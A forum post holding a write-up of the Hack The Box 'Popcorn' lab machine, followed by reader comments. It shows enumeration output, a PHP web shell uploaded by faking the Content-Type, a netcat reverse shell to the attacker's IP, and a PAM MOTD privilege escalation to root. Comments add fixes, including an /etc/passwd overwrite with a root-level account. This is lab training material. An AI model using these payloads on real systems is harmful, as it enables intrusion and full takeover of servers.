Popcorn write-up by Arrexel

Popcorn was quite a fun one, and the first machine (going top-down) not pwnable just by firing off some Metasploit modules.

##Enumeration##

###Nmap###

nmap -T4 -A -v 10.10.10.6

Starting Nmap 7.60 ( https://nmap.org ) at 2017-09-18 01:53 EDT
NSE: Loaded 146 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 01:53
Completed NSE at 01:53, 0.00s elapsed
Initiating NSE at 01:53
Completed NSE at 01:53, 0.00s elapsed
Initiating Ping Scan at 01:53
Scanning 10.10.10.6 [4 ports]
Completed Ping Scan at 01:53, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:53
Completed Parallel DNS resolution of 1 host. at 01:53, 0.02s elapsed
Initiating SYN Stealth Scan at 01:53
Scanning 10.10.10.6 [1000 ports]
Discovered open port 22/tcp on 10.10.10.6
Discovered open port 80/tcp on 10.10.10.6
Increasing send delay for 10.10.10.6 from 0 to 5 due to 309 out of 772 dropped probes since last increase.
Increasing send delay for 10.10.10.6 from 5 to 10 due to max_successful_tryno increase to 5
Warning: 10.10.10.6 giving up on port because retransmission cap hit (6).
Completed SYN Stealth Scan at 01:54, 43.36s elapsed (1000 total ports)
Initiating Service scan at 01:54
Scanning 2 services on 10.10.10.6
Completed Service scan at 01:54, 6.24s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.6
Retrying OS detection (try #2) against 10.10.10.6
Retrying OS detection (try #3) against 10.10.10.6
Retrying OS detection (try #4) against 10.10.10.6
Retrying OS detection (try #5) against 10.10.10.6
Initiating Traceroute at 01:54
Completed Traceroute at 01:54, 0.13s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 01:54
Completed Parallel DNS resolution of 2 hosts. at 01:54, 0.03s elapsed
NSE: Script scanning 10.10.10.6.
Initiating NSE at 01:54
Completed NSE at 01:54, 20.11s elapsed
Initiating NSE at 01:54
Completed NSE at 01:54, 0.00s elapsed
Nmap scan report for 10.10.10.6
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)

Nmap reveals a webserver running on port 80. Upon browsing to it, we see the homepage is just the default installation page. Let’s try and fuzz a bit to see if we can find some directories.

###Dirbuster###
I know, don’t hate. I am a sucker for a GUI that actually works properly :stuck_out_tongue:

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Sep 18 02:05:46 EDT 2017
--------------------------------

http://10.10.10.6:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/
/test/
/icons/
/torrent/
/rename/

Dirs found with a 403 response:

/doc/
/cgi-bin/
--------------------------------
--------------------------------

We see the following accessible directories: test, icons, torrent and rename. Rename is just a simple PHP script that renames a file given the full path, although it only has permission to modify files in the web directory. It may come in handy later, but let’s put it aside for now.

Torrent, on the other hand, looks like a public and very outdated webapp! Let’s run Dirbuster against it quickly to see if there are any interesting directories.

DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Mon Sep 18 02:11:02 EDT 2017
--------------------------------

http://10.10.10.6:80
--------------------------------
Directories found during testing:

Dirs found with a 200 response:

/torrent/download/
/torrent/rss/
/torrent/
/torrent/images/
/torrent/index/
/torrent/login/
/torrent/templates/
/torrent/users/
/torrent/admin/
/torrent/health/
/torrent/comment/
/torrent/upload/
/torrent/browse/
/torrent/css/
/torrent/edit/
/torrent/lib/
/torrent/database/
/torrent/secure/
/torrent/readme/
/torrent/js/
/torrent/logout/
/torrent/config/
/torrent/thumbnail/
/torrent/templates/email/
/torrent/torrents/
/torrent/validator/
--------------------------------

Quite a lot of stuff to look at. We are probably okay to start with exploitation at this point.

##Exploitation##

First thing that came to mind was renaming the blank index file in /secure/ to reveal the directory contents, however it seems to be jailed to the /rename/ directory.

If we check out exploit-db 11746 we see an upload vulnerability, however I was unable to get it to work.

At this point, we can try creating an account and see what our options are.

At first glance, we see an upload section. Wonder what we can do there!

Grab any old .torrent file from your favorite site. Ubuntu, Kali or the “bay” if you know what I mean. You can always create your own! After that, list your torrent on the site.

Once you have listed a torrent, go ahead and click on Edit this torrent and you will now be able to upload an image file for it.

For this next part, we will want to use Burp to intercept our image upload request. This will allow us to modify a few things to hopefully bypass the image file checks and get a malicious file on the server. Once you have Burp listening and your browser set to use it as a proxy, upload a PHP reverse shell in the image upload form. For good measure, I named mine writeup.png.php in case it performed a basic strpos or regex check for common image file extensions.

The intercepted request:

POST /torrent/upload_file.php?mode=upload&id=59066769b9ad42da2e508611c33d7c4480b3857b HTTP/1.1
Host: 10.10.10.6
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://10.10.10.6/torrent/edit.php?mode=edit&id=59066769b9ad42da2e508611c33d7c4480b3857b
Cookie: /torrent/=; /torrent/torrents.php=; /torrent/index.php=; saveit_0=4; saveit_1=6; /torrent/torrents.phpfirsttimeload=1; PHPSESSID=e96acc4c4bc69b133d6f27f83fb1bd65
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------10911138202071572298381489006
Content-Length: 1321

-----------------------------10911138202071572298381489006
Content-Disposition: form-data; name="file"; filename="writeup.png.php"
Content-Type: application/x-php

<?php echo (system($_GET['go'])); ?>
-----------------------------10911138202071572298381489006
Content-Disposition: form-data; name="submit"

Submit Screenshot
-----------------------------10911138202071572298381489006--

If you look, you can see Content-Type: application/x-php which we can easily change to Content-Type: image/png and hopefully that will bypass the site’s filetype validity checks.

Success! Looks like our PHP file should now be on the server. Going back to our dirbust, it is probably safe to assume it is in either /upload/ or /images/. Images is most likely reserved for images distributed with the site files, so let’s try upload first.

Look at that, a PHP file. For my file, I used <?php echo (system($_GET['go'])); ?> which lets you execute commands on the server by doing the following: http://10.10.10.6/torrent/upload/59066769b9ad42da2e508611c33d7c4480b3857b.php?go=uname -a

Now that we have RCE on the server, we can do some fun stuff. Let’s set up a nc listener on our local machine with nc -nvlp 6969

We can initiate the reverse connection by browsing to http://10.10.10.6/torrent/upload/59066769b9ad42da2e508611c33d7c4480b3857b.php?go=nc -e /bin/sh 10.10.14.3 6969

Boom, we are in. A quick check and we do have permission to grab the user flag at this point from /home/george/user.txt

If we run ls -lAR (which lists files recursively as well as hidden files) in /home/george we get:

ls -lAR
.:
total 864
-rw------- 1 root   root     2769 May  5 23:12 .bash_history
-rw-r--r-- 1 george george    220 Mar 17  2017 .bash_logout
-rw-r--r-- 1 george george   3180 Mar 17  2017 .bashrc
drwxr-xr-x 2 george george   4096 Mar 17  2017 .cache
-rw------- 1 root   root     1571 Mar 17  2017 .mysql_history
-rw------- 1 root   root       19 May  5 23:12 .nano_history
-rw-r--r-- 1 george george    675 Mar 17  2017 .profile
-rw-r--r-- 1 george george      0 Mar 17  2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17  2017 torrenthoster.zip
-rw-r--r-- 1 george george     33 Mar 17  2017 user.txt

./.cache:
total 0
-rw-r--r-- 1 george george 0 Mar 17  2017 motd.legal-displayed

The motd.legal-displayed file is interesting, as this isn’t a very common file. If we search exploit-db we find a few things, most notably PAM 1.1.0 MOTD File Tampering Privilege Escalation (14339).

If we run dpkg -l | grep pam the results are promising.

ii  libpam-modules                      1.1.0-2ubuntu1                    Pluggable Authentication Modules for PAM
ii  libpam-runtime                      1.1.0-2ubuntu1                    Runtime support for the PAM library
ii  libpam0g                            1.1.0-2ubuntu1                    Pluggable Authentication Modules library
ii  python-pam                          0.4.2-12ubuntu3                   A Python interface to the PAM library

Grab the exploit script and put it on the server however you want, in this case I just used wget to grab it from my local Apache server. We will need to type a password in when the exploit runs, so we can get a basic pty shell by doing python -c 'import pty; pty.spawn("/bin/bash")' which will be good enough for this exploit.

Run the exploit using bash 14339.sh or whatever you have it named as, enter toor as the password and we are now root! Grab the flag from /root/root.txt and call it a day.

1 Like

Great write up, though I learned a new content type exists Content-Type: image/php lol, also there is video version from ippsec HackTheBox - Popcorn - YouTube

■■■■ fixed, thanks

@Arrexel on a roll with your writeups, great work :smiley:

Hi there,

when i run the bash 14339.sh script i get the following output.Is it something wrong inside the bash script?Please help

www-data@popcorn:/dev/shm$ chmod +x 1.sh

www-data@popcorn:/dev/shm$ bash 1.sh

OUTPUT

1.sh: line 2: it: command not found
[*] Ubuntu PAM MOTD local root
ERROR: User name does not exist.
********* simple selection ********* ********* selection by list *********
-A all processes -C by command name
-N negate selection -G by real group ID (supports names)
-a all w/ tty except session leaders -U by real user ID (supports names)
-d all except session leaders -g by session OR by effective group name
-e all processes -p by process ID
T all processes on this terminal -s processes in the sessions given
a all w/ tty, including other users -t by tty
g OBSOLETE – DO NOT USE -u by effective user ID (supports names)
r only running processes U processes for specified users
x processes w/o controlling ttys t by tty
*********** output format ********** *********** long options ***********
-o,o user-defined -f full --Group --User --pid --cols --ppid
-j,j job control s signal --group --user --sid --rows --info
-O,O preloaded -o v virtual memory --cumulative --format --deselect
-l,l long u user-oriented --sort --tty --forest --version
-F extra full X registers --heading --no-heading --context
********* misc options *********
-V,V show version L list format codes f ASCII art forest
-m,m,-L,-T,H threads S children in sum -y change -l format
-M,Z security data c true command name -c scheduling class
-w,w wide output n numeric WCHAN,UID -H process hierarchy
[-] a running sshd is a requirement


My script is copied-pasted from

I have also tried to copied-pasted from /usr/… folder but still the same output occured

I just ran into the exact same issue @gIaNtAtHoS. Send me a DM if you were able to fix it. Working through it now.

*Just noticed somebody ran dirtycow on the box. Reverting and trying again.

**Worked fine after reverting and using vi to create the script.

Hey,

I have an issue when I try to privesc with the PAM 1.1.0 method. Whenever I get the script through wget or copy/past it, when I run it, it asks for www-data’s password. I don’t understand why as I use the same code as the one from the write-up and/or Ippsec’s video. I tryed to reset the box and still asks for password. I’m puzzled.
Has anyone got this problem ?
Thanks for your help :slight_smile:

@Teuch said:
Hey,

I have an issue when I try to privesc with the PAM 1.1.0 method. Whenever I get the script through wget or copy/past it, when I run it, it asks for www-data’s password. I don’t understand why as I use the same code as the one from the write-up and/or Ippsec’s video. I tryed to reset the box and still asks for password. I’m puzzled.
Has anyone got this problem ?
Thanks for your help :slight_smile:

Same here +1

[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
www-data@localhost's password: 

@mir0sh said:

Same here +1

[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
www-data@localhost's password: 

+1

Yep, same problem here. Tried exploits about PAM, tried a local privesc kernel exploit in C too … tried through vi, tried switching to another shell (tcp backconnect python shell), tried uploading/downloading exploits to and from the Popcorn machine, tried a reset.

No luck yet, even if I get those exploits to run : I always get a prompt for www-data’s password.

I’ll work on an other machine in the mean time, maybe I need to clear my head of all those tries.

Don’t skip when reading a write up

@Arrexel said:
Run the exploit using bash 14339.sh or whatever you have it named as, enter toor as the password and we are now root! Grab the flag from /root/root.txt and call it a day.

and for people having trouble executing it (try to convert NL to CRLF)

i ran the exploit in all the above mentioned ways but its asking for www-data 's password.

Im burning in ■■■■ right now, trying to deal with this vi/vim/password nonsense. tried to transfer with wget and run, it just gives some stupid error. I just dont know how some boxes mysteriously do very strange things.

so the problem everyone’s having with this exploit is really easily fixed. Basically, it’s trying to overwrite both the passwd and the shadow file in the etc folder, but only succeeds in overwriting the passwd file. Luckily, to get root, you only NEED to overwrite the passwd file, so here’s what you do:
-change the ‘P’ variable in the exploit to this: ‘toor:peT.XxvLNbSrg:0:0:root:/root:/bin/bash’
-upload the file, chmod it, and run it
-when it asks for a password, just press enter until it stops asking for a password
-ssh in with user “toor” and password “password”
-do the root dance

Has there been an update on this? I’m still being asked for the www-data password.

Type your comment> @password1234 said:

Has there been an update on this? I’m still being asked for the www-data password.

Same here , I also modified the variable “P” as mentioned

but this is the output I’ve got says that i dont have permessions (publickey,password).

Same issue here. Really annoying if you follow the official guide and results differ. I was able to find another exploit that worked. SPOILER:

Got this from Exp1o1t9r’s Writeup: https://exp1o1t9r.com/2020/01/08/hackthebox-writeup-popcorn/

Same here, at least I am not alone.

I was also stuck on the www-data password prompt with 14339.sh.

I’m not sure why it “just works” in some cases, but I believe that my problem was the permissions on the /var/www/.ssh directory.

www-data@popcorn:/var/www$ ls -al /var/www/.ssh
total 16
drwxrwxrwx 2 www-data www-data 4096 May 13 17:59 .

SSH doesn’t like this directory being wide open; locking it down did the trick for me.

www-data@popcorn:/var/www$ chmod 700 /var/www/.ssh/

Source: Popcorn - Luniwiki

1 Like

Type your comment> @slartybartfin said:

I was also stuck on the www-data password prompt with 14339.sh.

I’m not sure why it “just works” in some cases, but I believe that my problem was the permissions on the /var/www/.ssh directory.

www-data@popcorn:/var/www$ ls -al /var/www/.ssh
total 16
drwxrwxrwx 2 www-data www-data 4096 May 13 17:59 .

SSH doesn’t like this directory being wide open; locking it down did the trick for me.

www-data@popcorn:/var/www$ chmod 700 /var/www/.ssh/

Source: Popcorn - Luniwiki

thank you for this! changing /var/www/.ssh access worked!